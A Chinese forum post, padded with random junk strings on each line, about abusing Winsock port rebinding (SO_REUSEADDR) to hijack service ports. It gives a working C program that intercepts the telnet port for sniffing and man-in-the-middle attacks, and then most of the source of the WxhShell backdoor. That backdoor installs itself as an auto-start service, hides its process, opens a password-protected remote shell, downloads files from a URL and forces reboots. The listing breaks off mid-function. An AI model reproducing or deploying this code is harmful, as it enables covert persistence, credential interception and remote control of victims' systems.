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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ([r4N#lx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W/3,vf1  
7 )`U%}R  
  saddr.sin_family = AF_INET; +M"Fv9  
2+7r Lf`l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gxIGL-1M  
d@a FW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *,:>EcDr  
q*|H*sS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H <|ilL'fX  
.S l{m[nV8  
  这意味着什么?意味着可以进行如下的攻击: `5V=U9zdE  
Z-fQ{&a{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c&{1Z&Y  
.K=r.tf~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <,r|*pkhp~  
'Olp2g8=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UbD1h_b  
=r3%jWH6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O]\6Pv@N  
E,S[3+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6V"|  
QgZwU$`p0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mIK-a{?G  
TzC'x WO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /A8ua=Kn  
PgeC\#;9  
  #include -K 7jigac  
  #include 8 z) K  
  #include ~$GRgOn  
  #include    Rr'#OxF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6`>WO_<z  
  int main() </UUvMf"  
  { f4JmY1)@  
  WORD wVersionRequested; ~6HpI0i  
  DWORD ret; :2'y=t#  
  WSADATA wsaData; 6zmt^U   
  BOOL val; .^aakM  
  SOCKADDR_IN saddr; MM}lW-q;  
  SOCKADDR_IN scaddr; iYqZBLf{S  
  int err; cBZK t  
  SOCKET s; 4GA9oLl  
  SOCKET sc; x)Y?kVw21"  
  int caddsize; Wchu-]  
  HANDLE mt; _GoV\wGKl  
  DWORD tid;   yqEX0|V%  
  wVersionRequested = MAKEWORD( 2, 2 ); X"4 :#s  
  err = WSAStartup( wVersionRequested, &wsaData ); >Mu I-^ 3  
  if ( err != 0 ) { 9{D u)k  
  printf("error!WSAStartup failed!\n");  xJphG  
  return -1; O%g Q  
  } {:D8@jb[  
  saddr.sin_family = AF_INET; {XHAQ9'  
   wLF;nzv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J**-q(>  
;_o1{?~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @%(Vi!Cv"R  
  saddr.sin_port = htons(23); n{d0}N =  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #41xzN  
  { 9O8na 'w  
  printf("error!socket failed!\n"); @/MI Oxg[  
  return -1; -/x= `S*  
  } .!fhy[%o:D  
  val = TRUE; #.<Uy."z2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~  4v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) eGwO!Lv}B  
  { `-R-O@X|  
  printf("error!setsockopt failed!\n"); ?IKSSe#,  
  return -1; eb6Ux  
  } jL }bGD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~4 ~c+^PF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TY."?` [FK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !2.(iuE  
mH1T|UI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N\,[(LbA&  
  { }McqoZ%F  
  ret=GetLastError(); iyA=d{S;V  
  printf("error!bind failed!\n"); wbIgZ]o!/;  
  return -1; L}~"R/iWCT  
  } [>2iz  
  listen(s,2); <r9L-4  
  while(1) '|I8byiK  
  { 4YuJ-  
  caddsize = sizeof(scaddr); !lVOZ %  
  //接受连接请求 _Sq*m=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?/M:  
  if(sc!=INVALID_SOCKET) mY1I{ '.  
  { x7<2K(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T*Dd% f  
  if(mt==NULL) l}bAwJ?  
  { SmpYH@  
  printf("Thread Creat Failed!\n"); og`rsl  
  break;  i/vo  
  } 2 c 2lK  
  } Fy; sVB  
  CloseHandle(mt); fH@P&SX  
  } e^LjB/<Th  
  closesocket(s); WE{fu{x  
  WSACleanup(); lm;Dy*|<  
  return 0; V-{3)6I$hG  
  }   D6$*#D3U  
  DWORD WINAPI ClientThread(LPVOID lpParam) t@&U2JaL>W  
  { e3 #0r  
  SOCKET ss = (SOCKET)lpParam; H[S}&l\D4  
  SOCKET sc; ,QeJ;U  
  unsigned char buf[4096]; ~'9\y"N1  
  SOCKADDR_IN saddr; NmuzAZr  
  long num; 5@lVuMIYT  
  DWORD val; _%@dlT?  
  DWORD ret; _VUG!?_D$5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qa\e`LD%Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   U<YcUmX  
  saddr.sin_family = AF_INET; kF;N}O2?{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  )>=!</@  
  saddr.sin_port = htons(23); oimM)Yo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u ?-|sv*  
  { 9-W3}4'e  
  printf("error!socket failed!\n"); o=nF.y  
  return -1; [u $X.=(  
  } u|mTF>L  
  val = 100; VLfc6:Yg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t]CA!i`  
  { =*5< w  
  ret = GetLastError(); `SH14A*  
  return -1; &o;d  
  } ~Ydm"G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f:K>o .  
  { ` pYyr/  
  ret = GetLastError(); ?u?Nhf %b  
  return -1; 3'7]jj  
  } $a01">q&y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) QZm7 Q4  
  { I}jem  
  printf("error!socket connect failed!\n"); 68UfuC  
  closesocket(sc); B? aMX,1  
  closesocket(ss); Op'&c0l  
  return -1; g8SVuG<DI\  
  } eJ%b"H!  
  while(1) ${h1(ec8  
  { M ZAz= )-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J2Mq1*Vpq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {E;oirv&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T,oZaJ<  
  num = recv(ss,buf,4096,0); *mJ\Tzc)  
  if(num>0) 64L;np>  
  send(sc,buf,num,0); 7>E>`Nc6  
  else if(num==0) GGs7]mhA  
  break; Z[9t?ePL  
  num = recv(sc,buf,4096,0); j"A<qI  
  if(num>0) rJT YCe1*  
  send(ss,buf,num,0); l;SXR <EU  
  else if(num==0) I7#^'/  
  break; 3xz|d`A  
  } O'Q,;s`uC  
  closesocket(ss); b8 E{~z  
  closesocket(sc); >B<#,G  
  return 0 ; 1I awi?73  
  } cy(4g-b]@e  
9/`3=r@  
9SBTeJ$RZ  
========================================================== &qzy?/i8  
Y?qUO2  
下边附上一个代码,,WXhSHELL @#p6C  
jL7r1pu5  
========================================================== D#D55X^6*  
mKqXB\<  
#include "stdafx.h" ^;9<7 h[l  
VRZqY7j}g  
#include <stdio.h> 95E #  
#include <string.h> Ne)3@?  
#include <windows.h> 2 :4o`o  
#include <winsock2.h> o%,?v 9  
#include <winsvc.h> y`i?Qo3  
#include <urlmon.h> D<`M<:nq  
drxCjuz"  
#pragma comment (lib, "Ws2_32.lib") 25Ro )5  
#pragma comment (lib, "urlmon.lib") k. NJ+  
bzr QQQ  
#define MAX_USER   100 // 最大客户端连接数 Hr7?#ZX;e  
#define BUF_SOCK   200 // sock buffer kTcW=AXu  
#define KEY_BUFF   255 // 输入 buffer |[0Ijm2  
6V"u ovN2  
#define REBOOT     0   // 重启 T/.UMw  
#define SHUTDOWN   1   // 关机 XtQwLH+F  
 "D'rsEh  
#define DEF_PORT   5000 // 监听端口 ~.4y* &  
EOZ 6F-':  
#define REG_LEN     16   // 注册表键长度 ~Zn|(  
#define SVC_LEN     80   // NT服务名长度 ify48]  
}[=)sb_  
// 从dll定义API 0CvGpM,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B]NcY&A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9q+W>wt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ${rWDZ0Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k 1a?yH)=  
Ai"MJ6)  
// wxhshell配置信息 2+/r~LwbK  
struct WSCFG { dW2 2v!  
  int ws_port;         // 监听端口 fk9q3  
  char ws_passstr[REG_LEN]; // 口令 -G~/ GO  
  int ws_autoins;       // 安装标记, 1=yes 0=no }d>Xh8:%)  
  char ws_regname[REG_LEN]; // 注册表键名 D@O5Gd  
  char ws_svcname[REG_LEN]; // 服务名 lcLDCt ?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L/E7xLz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t Davp:M1v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DgK*> A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m[%':^vSr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?6\N&MTF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (?g+.]Dt,  
;B;@MD,B  
}; d >NO}MR  
"iGQ1#6|d  
// default Wxhshell configuration sv&^sARN  
struct WSCFG wscfg={DEF_PORT, 5JEOLPS  
    "xuhuanlingzhe", 5rfDm  
    1, Td|u-9OM  
    "Wxhshell", Rc3!u^?u  
    "Wxhshell", ?0M$p  
            "WxhShell Service", }30Sb &"  
    "Wrsky Windows CmdShell Service", +0)M1!gK  
    "Please Input Your Password: ", YR? E z<p  
  1, |h%HUau  
  "http://www.wrsky.com/wxhshell.exe", eXD~L&s[  
  "Wxhshell.exe" ~1E!Co  
    }; .jg@UAK  
3~7!=s\v  
// 消息定义模块 .zl[nx[9"D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F:d2;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QVJpX;u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q"D5D rj  
char *msg_ws_ext="\n\rExit."; '&hd^9]Lo  
char *msg_ws_end="\n\rQuit."; gaxM#  
char *msg_ws_boot="\n\rReboot..."; A'rd1"K  
char *msg_ws_poff="\n\rShutdown..."; xMNQT.A  
char *msg_ws_down="\n\rSave to "; O9zMD8  
8V}|(b#  
char *msg_ws_err="\n\rErr!"; ;N(L,  
char *msg_ws_ok="\n\rOK!"; rM^2yr7H  
t)Cf]]dV  
char ExeFile[MAX_PATH]; t#@z_Mn\  
int nUser = 0; x/CM)!U)  
HANDLE handles[MAX_USER]; P 4t@BwU$  
int OsIsNt; 6Q\|8a  
LGW:+c  
SERVICE_STATUS       serviceStatus; ~Kt1%&3{a?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /V{UTMSz  
>e& L"  
// 函数声明 gKl9Nkd!R  
int Install(void); Sgv_YoD?-  
int Uninstall(void); i-w$-2w  
int DownloadFile(char *sURL, SOCKET wsh); S9r?= K  
int Boot(int flag); VBix8|  
void HideProc(void); I|c!:4  
int GetOsVer(void); ]Ml  
int Wxhshell(SOCKET wsl); )XavhS~Ff  
void TalkWithClient(void *cs); z/+{QBen8  
int CmdShell(SOCKET sock); EPH n"YK  
int StartFromService(void); T*SLM"x  
int StartWxhshell(LPSTR lpCmdLine); 54Rp0o tv  
.D ^~!A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =R' O5J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r180vbN$  
hSw=Oq82  
// 数据结构和表定义 Ha|}Oj  
SERVICE_TABLE_ENTRY DispatchTable[] = 9Q}g Vqn  
{ q4Wr$T$gs=  
{wscfg.ws_svcname, NTServiceMain}, J'sa{/ #  
{NULL, NULL} uV_%&P  
}; $pAJ$0=sw  
7I'C'.6iM  
// 自我安装 M;Pry 3J  
int Install(void) 7 s{vou  
{ `_1~[t  
  char svExeFile[MAX_PATH]; CEI"p2  
  HKEY key; * 30K}&T  
  strcpy(svExeFile,ExeFile); O=V_ 7I5  
RqGX(Iuv  
// 如果是win9x系统,修改注册表设为自启动 x55W"q7  
if(!OsIsNt) { ?RS:I%bL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BCe'J!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Z#G_%\Y:  
  RegCloseKey(key); +|d]\WlJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YPI,u7-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qe#5;#  
  RegCloseKey(key); )dX(0E4Td/  
  return 0; Sx QA*}N  
    } RG'76?z  
  } 2[Lv_<i|  
} *l{epum;  
else { Nj3iZD|  
u%e~a]  
// 如果是NT以上系统,安装为系统服务 -W1p=od  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j\IdB:}j  
if (schSCManager!=0) 64mEZ_kG,  
{ eGq7+  
  SC_HANDLE schService = CreateService WYTqQqQk  
  ( #f) TAA  
  schSCManager, ;10YG6:  
  wscfg.ws_svcname, ,G%UU~/a  
  wscfg.ws_svcdisp, =xIZJ8e  
  SERVICE_ALL_ACCESS, jhf3(hx&F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p>+9pxx~U  
  SERVICE_AUTO_START, xmcZN3 ){+  
  SERVICE_ERROR_NORMAL, vio>P-2Eho  
  svExeFile, Y2QX<  
  NULL, zaHZ5%{LQD  
  NULL, 7$lnCvm  
  NULL, clV^Xg8D  
  NULL, B8T$<  
  NULL |mQ Fi\  
  ); $U]T8;5Q  
  if (schService!=0) O1\Hx8^  
  { [z2UfHpt~  
  CloseServiceHandle(schService); _ C?Wk:Y@  
  CloseServiceHandle(schSCManager); }|=/v( D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]5S`y{j1  
  strcat(svExeFile,wscfg.ws_svcname); lJ-PW\P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F!EiF&[\J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QcQ%A%VIV  
  RegCloseKey(key); |A 'I!Jm  
  return 0; H,L{N'[Xph  
    } \(P?=] -  
  } E|f[ #+:+  
  CloseServiceHandle(schSCManager); N7J?S~x  
} 8^ f:-5  
} %r(WS_%K|  
)e?&'wa>  
return 1; lUs$I{2_  
} g) oOravV  
Mz6(M,hkq  
// 自我卸载 NUltuM  
int Uninstall(void) dJ6fPB|k  
{ 0,t%us/q  
  HKEY key; X%5eZ"1{x  
H/*ol^X7  
if(!OsIsNt) { 7:u+cv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hOAZvrfQ4  
  RegDeleteValue(key,wscfg.ws_regname); /VT/KT{  
  RegCloseKey(key); ~\CS%thX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O+=%Mz(l  
  RegDeleteValue(key,wscfg.ws_regname); 4kM/`g6?,q  
  RegCloseKey(key); U*$P"sS`  
  return 0; xrg?{*\  
  } Y)X7*iTi'j  
} >Dr(%z6CN  
} B{j><u xl  
else { }<A.zwB<i  
Cr7Zi>sd<!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6^] |  
if (schSCManager!=0) tr,W)5O@L  
{ (4R(5t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q p>b  
  if (schService!=0) A%.mIc.  
  { l}z<q  
  if(DeleteService(schService)!=0) { Dd5 9xNKm  
  CloseServiceHandle(schService); 4$&l`yWU+  
  CloseServiceHandle(schSCManager); >5~#BrpwG  
  return 0; nL:&G'd  
  } `]eJF|"  
  CloseServiceHandle(schService); LOx+?4|y  
  } f"5O'QHGQK  
  CloseServiceHandle(schSCManager); mgjJNzclL  
} b]4dmc*N+  
} MJ)lZ!KZ  
#4'wF4DR@  
return 1; pd'0|  
} K4!-%d$  
E?XaU~cpc  
// 从指定url下载文件 QPx5`{nN  
int DownloadFile(char *sURL, SOCKET wsh) %vJHr!x  
{ 46A sD  
  HRESULT hr; Sr aZxuPg>  
char seps[]= "/"; qLDj\%~(  
char *token; elCYH9W^  
char *file; `uMEK>b  
char myURL[MAX_PATH]; k <oB9J  
char myFILE[MAX_PATH]; |NfFe*q0;8  
^Qs}2%  
strcpy(myURL,sURL); '9V/w[mI  
  token=strtok(myURL,seps); :DN!1~ZtW  
  while(token!=NULL) < xy@%  
  { q`<:CfCt  
    file=token; P9cx&Hk9  
  token=strtok(NULL,seps); 2^WJ1: A  
  } d+JK")$9C  
o]e,5]  
GetCurrentDirectory(MAX_PATH,myFILE); YO7U}6wBt  
strcat(myFILE, "\\"); V*4Z.3/E5  
strcat(myFILE, file); &F&`y  
  send(wsh,myFILE,strlen(myFILE),0); fc9;ZX7  
send(wsh,"...",3,0); Ap dXsL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R{#< NE  
  if(hr==S_OK) l$;"yVdks  
return 0; 9*)&hhBs,  
else dEoIVy_9R  
return 1; c|Ivet>3  
X8|H5Y:  
} pr0X7 #_E5  
.{1$;K @  
// 系统电源模块 H`JFXMa<  
int Boot(int flag) b' o]Y  
{ x o"GNFh!  
  HANDLE hToken; cfLLFPhv)  
  TOKEN_PRIVILEGES tkp; XNYA\%:5S  
;>J!$B?,  
  if(OsIsNt) { .Mq#88o.*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &K9;GZS?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _gT65G~z  
    tkp.PrivilegeCount = 1; } !m43x/&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TrjyU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =A"Abmx|  
if(flag==REBOOT) { \H] |5fp*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uAO!fE}CJ  
  return 0; >f]/VaMH{  
} KUI{Z I  
else { v ccH(T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t%=7v)IOE  
  return 0; nh} Xu~#_  
} INg0[Lpc  
  } sU_K^=6*  
  else { f@OH~4FG  
if(flag==REBOOT) { o7) y~ ke  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )(}[S:`  
  return 0; -H-U8/WC  
} sl'4AK~\  
else { Ln& pe(c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;s B=f  
  return 0; Th)  
} 5 D|#l*V  
} I\@r ~]+y  
*QC6zJ  
return 1; 7~h3B<  
} h[ .  
.a%6A#<X  
// win9x进程隐藏模块 *[Hp&6f  
void HideProc(void) m%HT)`>bg  
{ p*g Fr hm  
02J/=AC5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t;8)M $ p  
  if ( hKernel != NULL ) ;wv[';J  
  { )@g[aRFa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &`^(dO9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =^9h z3 j  
    FreeLibrary(hKernel); -^@FZ R^Y  
  } Y 6a`{'  
MP%#)O6  
return; |L<JOQ  
} RNT9M:w  
?WI v4  
// 获取操作系统版本 /vQ)$;xf#  
int GetOsVer(void) V}E['fzBFV  
{ o0H^J,6gV  
  OSVERSIONINFO winfo; `Y&`2WZ ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $S6(V}yh  
  GetVersionEx(&winfo); Rh'z;Gyr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >q}3#TvP@  
  return 1; >F$9&s&  
  else QQJGqM3a2  
  return 0; s9?mX@>h  
}  {53FR  
H=/1d.p  
// 客户端句柄模块 ]iV ]7g8:  
int Wxhshell(SOCKET wsl) < 5zR-UA>  
{ oC&}lp)q  
  SOCKET wsh; omfX2Oa2  
  struct sockaddr_in client; A*h8 o9M  
  DWORD myID;  ti5fsc  
aBA oSn  
  while(nUser<MAX_USER) %'2P4(  
{ P;5)Net1X  
  int nSize=sizeof(client); OM EwGr(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pH'Tx>  
  if(wsh==INVALID_SOCKET) return 1; wT@Z|.)  
iq;\},  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +ai3   
if(handles[nUser]==0) }QE.|.fA1  
  closesocket(wsh); bmT%?it  
else ZU\$x<,  
  nUser++; >tg)F|@  
  } Ws2q/[\oz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m#+0m!  
0#|Jhmv-zL  
  return 0; Q2fxsa[  
} 8eT#- 9q@  
B:zx 9  
// 关闭 socket dDcQSshL  
void CloseIt(SOCKET wsh) &8VH m?h  
{ !)M}(I}  
closesocket(wsh); pMU\f  
nUser--; KXWcg#zFY  
ExitThread(0); [}L?EM  
} 0:{W t  
Bc=(1ty)  
// 客户端请求句柄 @]Q4K%1^"  
void TalkWithClient(void *cs) xU;SRB   
{ 7gX32r$%V  
l$u52e!7  
  SOCKET wsh=(SOCKET)cs; '/GB8L  
  char pwd[SVC_LEN]; +w0Wg.4V  
  char cmd[KEY_BUFF]; Ana[>wSZO@  
char chr[1]; -@AhJY.  
int i,j; `^#Rwn#  
=Uk #7U"P  
  while (nUser < MAX_USER) { ra~=i|s  
4" ?`p;{Z  
if(wscfg.ws_passstr) { Lg\3DzM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w1< pQ[A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P2'c{],3V  
  //ZeroMemory(pwd,KEY_BUFF); +*.*bo  
      i=0; )Kx.v'  
  while(i<SVC_LEN) { 8GkWo8rPk  
k}LIMkEa4a  
  // 设置超时 /K H85/s  
  fd_set FdRead; b^R:q7ea  
  struct timeval TimeOut; q/?*|4I  
  FD_ZERO(&FdRead); Y%}&eN$r  
  FD_SET(wsh,&FdRead); t[|rp&xG  
  TimeOut.tv_sec=8; ivo3 pibk%  
  TimeOut.tv_usec=0; <EnmH/C.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LJrH_h8C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0+mR y57  
9fp"r,aHN&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m{>1# 1;$t  
  pwd=chr[0]; Z|K HF"  
  if(chr[0]==0xd || chr[0]==0xa) { |QS|\8g{0V  
  pwd=0; 1c,#`\Iikd  
  break; gwB,*.z  
  } bWL!=  
  i++; }P.s  
    } ]Zb9F[  
yBK$2to~  
  // 如果是非法用户,关闭 socket WrP+n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :h@V,m Z  
} z ,;XWv?  
hw"2'{"II  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /5 z+N(RFC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GUL~k@:_k  
WD4"ft  
while(1) { :r{-:   
zd$'8/Cq  
  ZeroMemory(cmd,KEY_BUFF); 8 n[(\f:  
MTt8O+J?P~  
      // 自动支持客户端 telnet标准   vU *: M8k  
  j=0; g?v/ u:v>W  
  while(j<KEY_BUFF) { Q]5_s{kiz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t|>P9lX@  
  cmd[j]=chr[0]; P)VQAM  
  if(chr[0]==0xa || chr[0]==0xd) { 2Ys=/mh  
  cmd[j]=0; G;gsDn1t  
  break; 9#[,{2pJr  
  } 2-m@-  
  j++; f['I4 /o  
    } l&\y]ZV={  
WG,Il/  
  // 下载文件 W,8Uu1X =  
  if(strstr(cmd,"http://")) { Xg.Lo2s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W. d',4)  
  if(DownloadFile(cmd,wsh)) [fCnq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t<Sa ;[+  
  else 0SD'&   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xf ^_y(?  
  } t tr`  
  else { &SIf|IX.  
e!Z}aOeE  
    switch(cmd[0]) { M_0f{  
  @oY+b!L  
  // 帮助 w[a(I} x  
  case '?': {  U :x;4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NxJnU<g-  
    break; h_-4Q"fb(  
  } FVNTE +LW  
  // 安装 S/Ic=  
  case 'i': { lDBAei3iB  
    if(Install()) .3) 27Cjw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \e'Vsy>q  
    else (Jb#'(~a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Zi+ /9Z(H  
    break; )Q9Qo)D T  
    } = y^5PjN  
  // 卸载 o(}%b8 K  
  case 'r': { 8(ZQM01;  
    if(Uninstall()) kjQW9QJ<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &qY]W=9uK  
    else F<h+d917  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {$t*XTY6R  
    break; %1 RWF6  
    } [PXq<ST  
  // 显示 wxhshell 所在路径 |WUM=g7PC  
  case 'p': { OL_#Uu  
    char svExeFile[MAX_PATH]; h [Sd3Z*  
    strcpy(svExeFile,"\n\r"); iWWtL  
      strcat(svExeFile,ExeFile); 6RIbsy  
        send(wsh,svExeFile,strlen(svExeFile),0); ; Ows8  
    break; z-3.%P2g  
    } =84EX<B  
  // 重启 #Fo#f<b p  
  case 'b': { mUl0D0#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f>xi (0  
    if(Boot(REBOOT)) ;HYEJ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IAbQgBvUD  
    else { >r X$E<B\  
    closesocket(wsh); NHUJ:j@  
    ExitThread(0); 1mHS -oI9J  
    } }.s%J\ckx  
    break; Q(A$ >A  
    } Dl~(NLM  
  // 关机 W4.w  
  case 'd': { NsS;d^%I  
